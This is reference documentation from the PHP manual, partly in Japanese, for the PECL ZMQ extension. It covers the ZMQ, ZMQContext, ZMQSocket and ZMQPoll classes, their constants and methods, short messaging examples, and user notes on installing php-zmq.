    • ZMQSocket::unbind — Unbind the socket
  • ZMQPoll — The ZMQPoll class
    • ZMQPoll::add — Add item to the poll set
    • ZMQPoll::clear — Clear the poll set
    • ZMQPoll::count — Count items in the poll set
    • ZMQPoll::getLastErrors — Get poll errors
    • ZMQPoll::poll — Poll the items
    • ZMQPoll::remove — Remove item from poll set
  • ZMQDevice — The ZMQDevice class
    • ZMQDevice::__construct — Construct a new device
    • ZMQDevice::getIdleTimeout — Get the idle timeout
    • ZMQDevice::getTimerTimeout — Get the timer timeout
    • ZMQDevice::run — Run the new device
    • ZMQDevice::setIdleCallback — Set the idle callback function
    • ZMQDevice::setIdleTimeout — Set the idle timeout
    • ZMQDevice::setTimerCallback — Set the timer callback function
    • ZMQDevice::setTimerTimeout — Set the timer timeout

User Contributed Notes

There are no user contributed notes for this page.


はじめに

"OMQ is a software library that lets you quickly design and implement a fast message-based application." --0MQ Website

For more information about 0MQ, see » http://zeromq.org/.

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件

User Contributed Notes

sebastian dot t dot jennen at gmail dot com 04-Feb-2020 08:50
php-zmq is conveniently installable over package managers for linux derivates:
as of February 2020

Debian from version 9 up
https://packages.debian.org/stretch/php/php-zmq

Ubuntu from version 16.04 up
https://packages.ubuntu.com/xenial/php/php-zmq

Fedora 29 and up:
https://rpmfind.net/linux/rpm2html/search.php?query=php-zmq

Thanks to the maintainers, i just tried successfully some examples on Fedora 29 Workstation which worked out of the box.
Anonymous 11-Jan-2016 11:35
I have created a gist with the updated procedure to install the ZeroMQ PHP extension on Ubuntu 14.04 with support for CurveZMQ encryption. Here is the link:
https://gist.github.com/Kamisama666/da9ef33b1adf4c6d39ca
felipsmartins at gmail dot com 07-Jul-2014 01:44
Installing and configuring ZMQ:

The following exemples is based on Debian Linux  but it should work in other OS.

First:
Installing 0MQ:
Go to http://zeromq.org/area:download and choose a package according your OS, in my case I've choosed
POSIX tarball Stable Release 4.0.4.

    ~$ tar -xvf zeromq-4.0.4.tar
    ~$ cd zeromq-4.0.4
    ~$ ./configure
    ~$ make
    ~$ sudo make install

Ok, we just have installed ZMQ now need install zmq php binding...
Make sure you having php-dev and php pear installed. If no:

    ~$ sudo apt-get install php5-dev php-pear
    ~$ sudo pecl install zmq-beta

Ok, we have now ZMQ and php binding (ext-php) installed but we should add "extension=zmq.so" (Or extension=php_zmq.dll on windows) to php.ini:
In my case:

    ~$ sudo nano /etc/php5/apache2/php.ini

**NOTE:** If PHP version is 5.4.x you will need to add a zmq.ini file in /etc/php5/conf.d and put "extension=zmq.so":

    ~$ sudo nano /etc/php5/conf.d/20-zmq.ini

Reloadind HTTP server (in my case apache):

    ~$  sudo service apache2 reload


要件

ZMQ extension requires 0MQ version 2.0.7 or higher. 0MQ can be acquired from » http://zeromq.org/area:download.

インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/zmq

User Contributed Notes

There are no user contributed notes for this page.


The ZMQ class

(PECL zmq >= 0.5.0)

はじめに

クラス概要

ZMQ {
/* Constants */
const int SOCKET_PAIR ;
const int SOCKET_PUB ;
const int SOCKET_SUB ;
const int SOCKET_REQ ;
const int SOCKET_REP ;
const int SOCKET_XREQ ;
const int SOCKET_XREP ;
const int SOCKET_PUSH ;
const int SOCKET_PULL ;
const int SOCKET_ROUTER ;
const int SOCKET_DEALER ;
const int SOCKET_XPUB ;
const int SOCKET_XSUB ;
const int SOCKET_STREAM ;
const int SOCKOPT_HWM ;
const int SOCKOPT_SNDHWM ;
const int SOCKOPT_RCVHWM ;
const int SOCKOPT_AFFINITY ;
const int SOCKOPT_IDENTITY ;
const int SOCKOPT_SUBSCRIBE ;
const int SOCKOPT_UNSUBSCRIBE ;
const int SOCKOPT_RATE ;
const int SOCKOPT_RECOVERY_IVL ;
const int SOCKOPT_RECONNECT_IVL ;
const int SOCKOPT_RECONNECT_IVL_MAX ;
const int SOCKOPT_MCAST_LOOP ;
const int SOCKOPT_SNDBUF ;
const int SOCKOPT_RCVBUF ;
const int SOCKOPT_RCVMORE ;
const int SOCKOPT_TYPE ;
const int SOCKOPT_LINGER ;
const int SOCKOPT_BACKLOG ;
const int SOCKOPT_MAXMSGSIZE ;
const int SOCKOPT_SNDTIMEO ;
const int SOCKOPT_RCVTIMEO ;
const int SOCKOPT_IPV4ONLY ;
const int SOCKOPT_LAST_ENDPOINT ;
const int SOCKOPT_TCP_KEEPALIVE_IDLE ;
const int SOCKOPT_TCP_KEEPALIVE_CNT ;
const int SOCKOPT_TCP_KEEPALIVE_INTVL ;
const int SOCKOPT_TCP_ACCEPT_FILTER ;
const int SOCKOPT_TCP_ACCEPT_FILTER ;
const int SOCKOPT_DELAY_ATTACH_ON_CONNECT ;
const int SOCKOPT_XPUB_VERBOSE ;
const int SOCKOPT_ROUTER_RAW ;
const int SOCKOPT_IPV6 ;
const int CTXOPT_MAX_SOCKETS ;
const int POLL_IN ;
const int POLL_OUT ;
const int MODE_NOBLOCK ;
const int MODE_DONTWAIT ;
const int MODE_SNDMORE ;
const int ERR_INTERNAL ;
const int ERR_EAGAIN ;
const int ERR_ENOTSUP ;
const int ERR_EFSM ;
const int ERR_ETERM ;
/* Methods */
private __construct ( )
}

定義済み定数

ZMQ Constant Types

ZMQ::SOCKET_PAIR

Exclusive pair pattern

ZMQ::SOCKET_PUB

Publisher socket

ZMQ::SOCKET_SUB

Subscriber socket

ZMQ::SOCKET_REQ

Request socket

ZMQ::SOCKET_REP

Reply socket

ZMQ::SOCKET_XREQ

Alias for SOCKET_DEALER

ZMQ::SOCKET_XREP

Alias for SOCKET_ROUTER

ZMQ::SOCKET_PUSH

Pipeline upstream push socket

ZMQ::SOCKET_PULL

Pipeline downstream pull socket

ZMQ::SOCKET_ROUTER

Extended REP socket that can route replies to requesters

ZMQ::SOCKET_DEALER

Extended REQ socket that load balances to all connected peers

ZMQ::SOCKET_XPUB

Similar to SOCKET_PUB, except you can receive subscriptions as messages. The subscription message is 0 (unsubscribe) or 1 (subscribe) followed by the topic.

ZMQ::SOCKET_XSUB

Similar to SOCKET_SUB, except you can send subscriptions as messages. See SOCKET_XPUB for format.

ZMQ::SOCKET_STREAM

Used to send and receive TCP data from a non-OMQ peer. Available if compiled against ZeroMQ 4.x or higher (Value: int).

ZMQ::SOCKOPT_HWM

The high water mark for inbound and outbound messages is a hard limit on the maximum number of outstanding messages OMQ shall queue in memory for any single peer that the specified socket is communicating with. Setting this option on a socket will only affect connections made after the option has been set. On ZeroMQ 3.x this is a wrapper for setting both SNDHWM and RCVHWM. (Value: int).

ZMQ::SOCKOPT_SNDHWM

The ZMQ_SNDHWM option shall set the high water mark for outbound messages on the specified socket. Available if compiled against ZeroMQ 3.x or higher (Value: int).

ZMQ::SOCKOPT_RCVHWM

The SOCKOPT_RCVHWM option shall set the high water mark for inbound messages on the specified socket. Available if compiled against ZeroMQ 3.x or higher (Value: int).

ZMQ::SOCKOPT_AFFINITY

Set I/O thread affinity (Value: int)

ZMQ::SOCKOPT_IDENTITY

Set socket identity (Value: string)

ZMQ::SOCKOPT_SUBSCRIBE

Establish message filter. Valid for subscriber socket (Value: string)

ZMQ::SOCKOPT_UNSUBSCRIBE

Remove message filter. Valid for subscriber socket (Value: string)

ZMQ::SOCKOPT_RATE

Set rate for multicast sockets (pgm) (Value: int >= 0)

ZMQ::SOCKOPT_RECOVERY_IVL

Set multicast recovery interval (Value: int >= 0)

ZMQ::SOCKOPT_RECONNECT_IVL

Set the initial reconnection interval (Value: int >= 0)

ZMQ::SOCKOPT_RECONNECT_IVL_MAX

Set the max reconnection interval (Value: int >= 0)

ZMQ::SOCKOPT_MCAST_LOOP

Control multicast loopback (Value: int >= 0)

ZMQ::SOCKOPT_SNDBUF

Set kernel transmit buffer size (Value: int >= 0)

ZMQ::SOCKOPT_RCVBUF

Set kernel receive buffer size (Value: int >= 0)

ZMQ::SOCKOPT_RCVMORE

Receive multi-part messages (Value: int)

ZMQ::SOCKOPT_TYPE

Get the socket type. Valid for getSockOpt (Value: int)

ZMQ::SOCKOPT_LINGER

The linger value of the socket. Specifies how long the socket blocks trying flush messages after it has been closed (Value: int)

ZMQ::SOCKOPT_BACKLOG

The SOCKOPT_BACKLOG option shall set the maximum length of the queue of outstanding peer connections for the specified socket; this only applies to connection-oriented transports. (Value: int)

ZMQ::SOCKOPT_MAXMSGSIZE

Limits the maximum size of the inbound message. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_SNDTIMEO

Sets the timeout for send operation on the socket. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_RCVTIMEO

Sets the timeout for receive operation on the socket. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_IPV4ONLY

Disable IPV6 support if 1. Available if compiled against ZeroMQ 3.x (Value: int)

ZMQ::SOCKOPT_LAST_ENDPOINT

Retrieve the last connected endpoint - for use with * wildcard ports. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_TCP_KEEPALIVE_IDLE

Idle time for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_TCP_KEEPALIVE_CNT

Count time for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_TCP_KEEPALIVE_INTVL

Interval for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_DELAY_ATTACH_ON_CONNECT

Set a CIDR string to match against incoming TCP connections. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_TCP_ACCEPT_FILTER

Set a CIDR string to match against incoming TCP connections. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_XPUB_VERBOSE

Set the XPUB to receive an application message on each instance of a subscription. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_ROUTER_RAW

Sets the raw mode on the ROUTER, when set to 1. In raw mode when using tcp:// transport the socket will read and write without ZeroMQ framing. Available if compiled against ZeroMQ 4.0 or higher (Value: string)

ZMQ::SOCKOPT_IPV6

Enable IPV6. Available if compiled against ZeroMQ 4.0 or higher (Value: string)

ZMQ::CTXOPT_MAX_SOCKETS

The socket limit for this context. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::POLL_IN

Poll for incoming data

ZMQ::POLL_OUT

Poll for outgoing data

ZMQ::MODE_NOBLOCK

Non-blocking operation. Deprecated, use ZMQ::MODE_DONTWAIT instead

ZMQ::MODE_DONTWAIT

Non-blocking operation

ZMQ::MODE_SNDMORE

Send multi-part message

ZMQ::DEVICE_FORWARDER

Forwarder device

ZMQ::DEVICE_QUEUE

Queue device

ZMQ::DEVICE_STREAMER

Streamer device

ZMQ::ERR_INTERNAL

ZMQ extension internal error

ZMQ::ERR_EAGAIN

Implies that the operation would block when ZMQ::MODE_DONTWAIT is used

ZMQ::ERR_ENOTSUP

The operation is not supported by the socket type

ZMQ::ERR_EFSM

The operation can not be executed because the socket is not in correct state

ZMQ::ERR_ETERM

The context has been terminated

目次

  • ZMQ::__construct — ZMQ constructor

User Contributed Notes

There are no user contributed notes for this page.


ZMQ constructor

  • ≪ ZMQ
  • ZMQContext ≫
  • PHP Manual
  • ZMQ
  • ZMQ constructor

ZMQ::__construct

(PECL zmq >= 0.5.0)

ZMQ::__construct — ZMQ constructor

説明

private ZMQ::__construct ( )

Private constructor to prevent direct initialization. This class holds the constants for ZMQ extension.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The ZMQContext class

(PECL zmq >= 0.5.0)

はじめに

クラス概要

ZMQContext {
/* Methods */
public __construct ( int $io_threads = 1 , bool $is_persistent = true )
public getOpt ( string $key ) : mixed
public getSocket ( int $type , string $persistent_id = null , callable $on_new_socket = null ) : ZMQSocket
public isPersistent ( ) : bool
public setOpt ( int $key , mixed $value ) : ZMQContext
}

目次

  • ZMQContext::__construct — Construct a new ZMQContext object
  • ZMQContext::getOpt — Get context option
  • ZMQContext::getSocket — Create a new socket
  • ZMQContext::isPersistent — Whether the context is persistent
  • ZMQContext::setOpt — Set a socket option

User Contributed Notes

There are no user contributed notes for this page.


Construct a new ZMQContext object

  • ≪ ZMQContext
  • ZMQContext::getOpt ≫
  • PHP Manual
  • ZMQContext
  • Construct a new ZMQContext object

ZMQContext::__construct

(PECL zmq >= 0.5.0)

ZMQContext::__construct — Construct a new ZMQContext object

説明

public ZMQContext::__construct ( int $io_threads = 1 , bool $is_persistent = true )

Constructs a new ZMQ context. The context is used to initialize sockets. A persistent context is required to initialize persistent sockets.

パラメータ

io_threads

Number of io-threads in the context.

is_persistent

Whether the context is persistent. Persistent context is stored over multiple requests and is a requirement for persistent sockets.

例

例1 A ZMQContext() example

Construct a new context and allocate request socket from it

<?php
/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REQ, 'my sock');

/* Connect the socket */
$socket->connect("tcp://example.com:1234");

/* Send a request */
$socket->send("Hello there");

/* Receive back the response */
$message = $socket->recv();
?>

返り値

Throws ZMQContextException if context initialization fails.

User Contributed Notes

There are no user contributed notes for this page.


Get context option

  • ≪ ZMQContext::__construct
  • ZMQContext::getSocket ≫
  • PHP Manual
  • ZMQContext
  • Get context option

ZMQContext::getOpt

(PECL zmq >= 1.0.4)

ZMQContext::getOpt — Get context option

説明

public ZMQContext::getOpt ( string $key ) : mixed

Returns the value of a context option.

パラメータ

key

An integer representing the option. See the ZMQ::CTXOPT_* constants.

返り値

Returns either a string or an int depending on key. Throws ZMQContextException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create a new socket

  • ≪ ZMQContext::getOpt
  • ZMQContext::isPersistent ≫
  • PHP Manual
  • ZMQContext
  • Create a new socket

ZMQContext::getSocket

(PECL zmq >= 0.5.0)

ZMQContext::getSocket — Create a new socket

説明

public ZMQContext::getSocket ( int $type , string $persistent_id = null , callable $on_new_socket = null ) : ZMQSocket

Shortcut for creating new sockets from the context. If the context is not persistent the persistent_id parameter is ignored and the socket falls back to being non-persistent. The on_new_socket is called only when a new underlying socket structure is created.

パラメータ

type

ZMQ::SOCKET_* constant to specify socket type.

persistent_id

If persistent_id is specified the socket will be persisted over multiple requests.

on_new_socket

Callback function, which is executed when a new socket structure is created. This function does not get invoked if the underlying persistent connection is re-used. The callback takes ZMQSocket and persistent_id as two arguments.

例

例1 A ZMQContext() example

Basic usage

<?php
/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REQ, 'my sock');

/* Connect the socket */
$socket->connect("tcp://example.com:1234");

/* Send a request */
$socket->send("Hello there");

/* Receive back the response */
$message = $socket->recv();
echo "Received message: {$message}\n";
?>

返り値

Returns a ZMQSocket object on success. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Whether the context is persistent

  • ≪ ZMQContext::getSocket
  • ZMQContext::setOpt ≫
  • PHP Manual
  • ZMQContext
  • Whether the context is persistent

ZMQContext::isPersistent

(PECL zmq >= 0.5.0)

ZMQContext::isPersistent — Whether the context is persistent

説明

public ZMQContext::isPersistent ( ) : bool

Whether the context is persistent. Persistent context is needed for persistent connections as each socket is allocated from a context.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the context is persistent and false if the context is non-persistent.

User Contributed Notes

There are no user contributed notes for this page.


Set a socket option

  • ≪ ZMQContext::isPersistent
  • ZMQSocket ≫
  • PHP Manual
  • ZMQContext
  • Set a socket option

ZMQContext::setOpt

(PECL zmq >= 1.0.4)

ZMQContext::setOpt — Set a socket option

説明

public ZMQContext::setOpt ( int $key , mixed $value ) : ZMQContext

Sets a ZMQ context option. The type of the value depends on the key. See ZMQ Constant Types for more information.

パラメータ

key

One of the ZMQ::CTXOPT_* constants.

value

The value of the parameter.

返り値

Returns the current object. Throws ZMQContextException on error.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQSocket class

(PECL zmq >= 0.5.0)

はじめに

クラス概要

ZMQSocket {
/* Methods */
public bind ( string $dsn , bool $force = false ) : ZMQSocket
public connect ( string $dsn , bool $force = false ) : ZMQSocket
public __construct ( ZMQContext $context , int $type , string $persistent_id = null , callable $on_new_socket = null )
public disconnect ( string $dsn ) : ZMQSocket
public getEndpoints ( ) : array
public getPersistentId ( ) : string
public getSocketType ( ) : int
public getSockOpt ( string $key ) : mixed
public isPersistent ( ) : bool
public recv ( int $mode = 0 ) : string
public recvMulti ( int $mode = 0 ) : array
public send ( string $message , int $mode = 0 ) : ZMQSocket
public sendmulti ( array $message , int $mode = 0 ) : ZMQSocket
public setSockOpt ( int $key , mixed $value ) : ZMQSocket
public unbind ( string $dsn ) : ZMQSocket
}

目次

  • ZMQSocket::bind — Bind the socket
  • ZMQSocket::connect — Connect the socket
  • ZMQSocket::__construct — Construct a new ZMQSocket
  • ZMQSocket::disconnect — Disconnect a socket
  • ZMQSocket::getEndpoints — Get list of endpoints
  • ZMQSocket::getPersistentId — Get the persistent id
  • ZMQSocket::getSocketType — Get the socket type
  • ZMQSocket::getSockOpt — Get socket option
  • ZMQSocket::isPersistent — Whether the socket is persistent
  • ZMQSocket::recv — Receives a message
  • ZMQSocket::recvMulti — Receives a multipart message
  • ZMQSocket::send — Sends a message
  • ZMQSocket::sendmulti — マルチパートメッセージを送る
  • ZMQSocket::setSockOpt — Set a socket option
  • ZMQSocket::unbind — Unbind the socket

User Contributed Notes

There are no user contributed notes for this page.


Bind the socket

  • ≪ ZMQSocket
  • ZMQSocket::connect ≫
  • PHP Manual
  • ZMQSocket
  • Bind the socket

ZMQSocket::bind

(PECL zmq >= 0.5.0)

ZMQSocket::bind — Bind the socket

説明

public ZMQSocket::bind ( string $dsn , bool $force = false ) : ZMQSocket

Bind the socket to an endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

パラメータ

dsn

The bind dsn, for example transport://address.

force

Tries to bind even if the socket has already been bound to the given endpoint.

返り値

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Connect the socket

  • ≪ ZMQSocket::bind
  • ZMQSocket::__construct ≫
  • PHP Manual
  • ZMQSocket
  • Connect the socket

ZMQSocket::connect

(PECL zmq >= 0.5.0)

ZMQSocket::connect — Connect the socket

説明

public ZMQSocket::connect ( string $dsn , bool $force = false ) : ZMQSocket

Connect the socket to a remote endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

パラメータ

dsn

The connect dsn, for example transport://address.

force

Tries to connect even if the socket has already been connected to given endpoint.

例

例1 A ZMQContext() example

Construct a new context and allocate request socket from it

<?php
/* Server hostname */
$dsn = "tcp://127.0.0.1:5555";

/* Create a socket */
$socket = new ZMQSocket(new ZMQContext(), ZMQ::SOCKET_REQ, 'my socket');

/* Get list of connected endpoints */
$endpoints = $socket->getEndpoints();

/* Check if the socket is connected */
if (!in_array($dsn, $endpoints['connect'])) {
    echo "<p>Connecting to $dsn</p>";
    $socket->connect($dsn);
} else {
    echo "<p>Already connected to $dsn</p>";
}

/* Send and receive */
$socket->send("Hello!");
$message = $socket->recv();

echo "<p>Server said: {$message}</p>";
?>

返り値

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Construct a new ZMQSocket

  • ≪ ZMQSocket::connect
  • ZMQSocket::disconnect ≫
  • PHP Manual
  • ZMQSocket
  • Construct a new ZMQSocket

ZMQSocket::__construct

(PECL zmq >= 0.5.0)

ZMQSocket::__construct — Construct a new ZMQSocket

説明

public ZMQSocket::__construct ( ZMQContext $context , int $type , string $persistent_id = null , callable $on_new_socket = null )

Constructs a ZMQSocket object. persistent_id parameter can be used to allocated a persistent socket. A persistent socket has to be allocated from a persistent context and it stays connected over multiple requests. The persistent_id parameter can be used to recall the same socket over multiple requests. The on_new_socket is called only when a new underlying socket structure is created.

パラメータ

context

ZMQContext object.

type

The socket type. See ZMQ::SOCKET_* constants.

persistent_id

If persistent_id is specified the socket will be persisted over multiple requests. If context is not persistent the socket falls back to non-persistent mode.

on_new_socket

Callback function, which is executed when a new socket structure is created. This function does not get invoked if the underlying persistent connection is re-used.

例

例1 A ZMQSocket() example

Using callback the bind/connect socket

<?php

/*
  The socket is persistent so this function is called only on the
  first request to the script.
*/
function on_new_socket_cb(ZMQSocket $socket, $persistent_id = null)
{
    if ($persistent_id === 'server') {
        $socket->bind("tcp://localhost:12122");
    } else {
        $socket->connect("tcp://localhost:12122");
    }
}

/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REP, 'server', 'on_new_socket_cb');

$message = $socket->recv();
echo "Received message: {$message}\n";
?>

The callback signature

注意:

function on_new_socket_cb(ZMQSocket $socket, string $persistent_id = null);

返り値

Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Disconnect a socket

  • ≪ ZMQSocket::__construct
  • ZMQSocket::getEndpoints ≫
  • PHP Manual
  • ZMQSocket
  • Disconnect a socket

ZMQSocket::disconnect

(PECL zmq >= 1.0.4)

ZMQSocket::disconnect — Disconnect a socket

説明

public ZMQSocket::disconnect ( string $dsn ) : ZMQSocket

Disconnect the socket from a previously connected remote endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

パラメータ

dsn

The connect dsn, for example transport://address.

返り値

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get list of endpoints

  • ≪ ZMQSocket::disconnect
  • ZMQSocket::getPersistentId ≫
  • PHP Manual
  • ZMQSocket
  • Get list of endpoints

ZMQSocket::getEndpoints

(PECL zmq >= 0.5.0)

ZMQSocket::getEndpoints — Get list of endpoints

説明

public ZMQSocket::getEndpoints ( ) : array

Returns a list of endpoints where the socket is connected or bound to.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array containing elements 'bind' and 'connect'.

User Contributed Notes

There are no user contributed notes for this page.


Get the persistent id

  • ≪ ZMQSocket::getEndpoints
  • ZMQSocket::getSocketType ≫
  • PHP Manual
  • ZMQSocket
  • Get the persistent id

ZMQSocket::getPersistentId

(PECL zmq >= 0.5.0)

ZMQSocket::getPersistentId — Get the persistent id

説明

public ZMQSocket::getPersistentId ( ) : string

Returns the persistent id of the socket.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the persistent id string assigned of the object and null if socket is not persistent.

User Contributed Notes

There are no user contributed notes for this page.


Get the socket type

  • ≪ ZMQSocket::getPersistentId
  • ZMQSocket::getSockOpt ≫
  • PHP Manual
  • ZMQSocket
  • Get the socket type

ZMQSocket::getSocketType

(PECL zmq >= 0.5.0)

ZMQSocket::getSocketType — Get the socket type

説明

public ZMQSocket::getSocketType ( ) : int

Gets the socket type.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer representing the socket type. The integer can be compared against ZMQ::SOCKET_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Get socket option

  • ≪ ZMQSocket::getSocketType
  • ZMQSocket::isPersistent ≫
  • PHP Manual
  • ZMQSocket
  • Get socket option

ZMQSocket::getSockOpt

(PECL zmq >= 0.5.0)

ZMQSocket::getSockOpt — Get socket option

説明

public ZMQSocket::getSockOpt ( string $key ) : mixed

Returns the value of a socket option.

パラメータ

key

An integer representing the option. See the ZMQ::SOCKOPT_* constants.

返り値

Returns either a string or an int depending on key. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Whether the socket is persistent

  • ≪ ZMQSocket::getSockOpt
  • ZMQSocket::recv ≫
  • PHP Manual
  • ZMQSocket
  • Whether the socket is persistent

ZMQSocket::isPersistent

(PECL zmq >= 0.5.0)

ZMQSocket::isPersistent — Whether the socket is persistent

説明

public ZMQSocket::isPersistent ( ) : bool

Check whether the socket is persistent.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a bool based on whether the socket is persistent or not.

User Contributed Notes

There are no user contributed notes for this page.


Receives a message

  • ≪ ZMQSocket::isPersistent
  • ZMQSocket::recvMulti ≫
  • PHP Manual
  • ZMQSocket
  • Receives a message

ZMQSocket::recv

(PECL zmq >= 0.5.0)

ZMQSocket::recv — Receives a message

説明

public ZMQSocket::recv ( int $mode = 0 ) : string

Receive a message from a socket. By default receiving will block until a message is available unless ZMQ::MODE_DONTWAIT flag is used. ZMQ::SOCKOPT_RCVMORE socket option can be used for receiving multi-part messages. See ZMQSocket::setSockOpt() for more information.

パラメータ

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

例

例1 A send/recv example

Non-blocking send / receive

<?php

/* Create new queue object, there needs to be a server at the other end */
$queue = new ZMQSocket(new ZMQContext(), ZMQ::SOCKET_REQ);
$queue->connect("tcp://127.0.0.1:5555");

/* Assign socket 1 to the queue, send and receive */
$retries = 5;
$sending = true;

/* Start a loop */
do {
    try {
        /* Try to send / receive */
        if ($sending) {
            echo "Sending message\n";
            $queue->send("This is a message", ZMQ::MODE_DONTWAIT);
            $sending = false;
        } else {
            echo "Got response: " . $queue->recv(ZMQ::MODE_DONTWAIT) . "\n";
            break;
        }
    } catch (ZMQSocketException $e) {
        /* EAGAIN means that the operation would have blocked, retry */
        if ($e->getCode() === ZMQ::ERR_EAGAIN) {
            echo " - Got EAGAIN, retrying ($retries)\n";
        } else {
            die(" - Error: " . $e->getMessage());
        }
    }
    /* Sleep a bit between operations */
    usleep(5);
} while (--$retries);
?>

上の例の出力は、 たとえば以下のようになります。

Sending message
 - Unable to execute operation, retrying (4)
Got response: This is a message

返り値

Returns the message. Throws ZMQSocketException in error. If ZMQ::MODE_DONTWAIT is used and the operation would block bool false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Receives a multipart message

  • ≪ ZMQSocket::recv
  • ZMQSocket::send ≫
  • PHP Manual
  • ZMQSocket
  • Receives a multipart message

ZMQSocket::recvMulti

(PECL zmq >= 0.8.0)

ZMQSocket::recvMulti — Receives a multipart message

説明

public ZMQSocket::recvMulti ( int $mode = 0 ) : array

Receive an array multipart message from a socket. By default receiving will block until a message is available unless ZMQ::MODE_NOBLOCK flag is used.

パラメータ

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

返り値

Returns the array of message parts. Throws ZMQSocketException in error. If ZMQ::MODE_NOBLOCK is used and the operation would block bool false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Sends a message

  • ≪ ZMQSocket::recvMulti
  • ZMQSocket::sendmulti ≫
  • PHP Manual
  • ZMQSocket
  • Sends a message

ZMQSocket::send

(PECL zmq >= 0.5.0)

ZMQSocket::send — Sends a message

説明

public ZMQSocket::send ( string $message , int $mode = 0 ) : ZMQSocket

Send a message using the socket. The operation can block unless ZMQ::MODE_NOBLOCK is used.

パラメータ

message

The message to send.

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

返り値

Returns the current object. Throws ZMQSocketException on error. If ZMQ::MODE_NOBLOCK is used and the operation would block bool false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


マルチパートメッセージを送る

  • ≪ ZMQSocket::send
  • ZMQSocket::setSockOpt ≫
  • PHP Manual
  • ZMQSocket
  • マルチパートメッセージを送る

ZMQSocket::sendmulti

(PECL zmq >= 0.8.0)

ZMQSocket::sendmulti — マルチパートメッセージを送る

説明

public ZMQSocket::sendmulti ( array $message , int $mode = 0 ) : ZMQSocket

ソケットを使ってマルチパートメッセージを送ります。 この操作は ZMQ::MODE_NOBLOCK を使わないとブロックされる可能性があります。

パラメータ

message

送信するメッセージ - 文字列の配列

mode

マルチパートメッセージを受け取るか、 ノンブロッキング操作を行うかのモードフラグ。 ZMQ::MODE_* 定数を参照してください。

返り値

現在のオブジェクトを返します。 エラーの場合は ZMQSocketException をスローします。 Returns the current object. Throws ZMQSocketException on error. ZMQ::MODE_NOBLOCK が使われていた場合、 操作はブロックされ、bool false が返されます。

User Contributed Notes

There are no user contributed notes for this page.


Set a socket option

  • ≪ ZMQSocket::sendmulti
  • ZMQSocket::unbind ≫
  • PHP Manual
  • ZMQSocket
  • Set a socket option

ZMQSocket::setSockOpt

(PECL zmq >= 0.5.0)

ZMQSocket::setSockOpt — Set a socket option

説明

public ZMQSocket::setSockOpt ( int $key , mixed $value ) : ZMQSocket

Sets a ZMQ socket option. The type of the value depends on the key. See ZMQ Constant Types for more information.

パラメータ

key

One of the ZMQ::SOCKOPT_* constants.

value

The value of the parameter.

返り値

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Unbind the socket

  • ≪ ZMQSocket::setSockOpt
  • ZMQPoll ≫
  • PHP Manual
  • ZMQSocket
  • Unbind the socket

ZMQSocket::unbind

(PECL zmq >= 1.0.4)

ZMQSocket::unbind — Unbind the socket

説明

public ZMQSocket::unbind ( string $dsn ) : ZMQSocket

Unbind the socket from an endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

パラメータ

dsn

The previously bound dsn, for example transport://address.

返り値

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQPoll class

(PECL zmq >= 0.5.0)

はじめに

クラス概要

ZMQPoll {
/* Methods */
public add ( mixed $entry , int $type ) : string
public clear ( ) : ZMQPoll
public count ( ) : int
public getLastErrors ( ) : array
public poll ( array &$readable , array &$writable , int $timeout = -1 ) : int
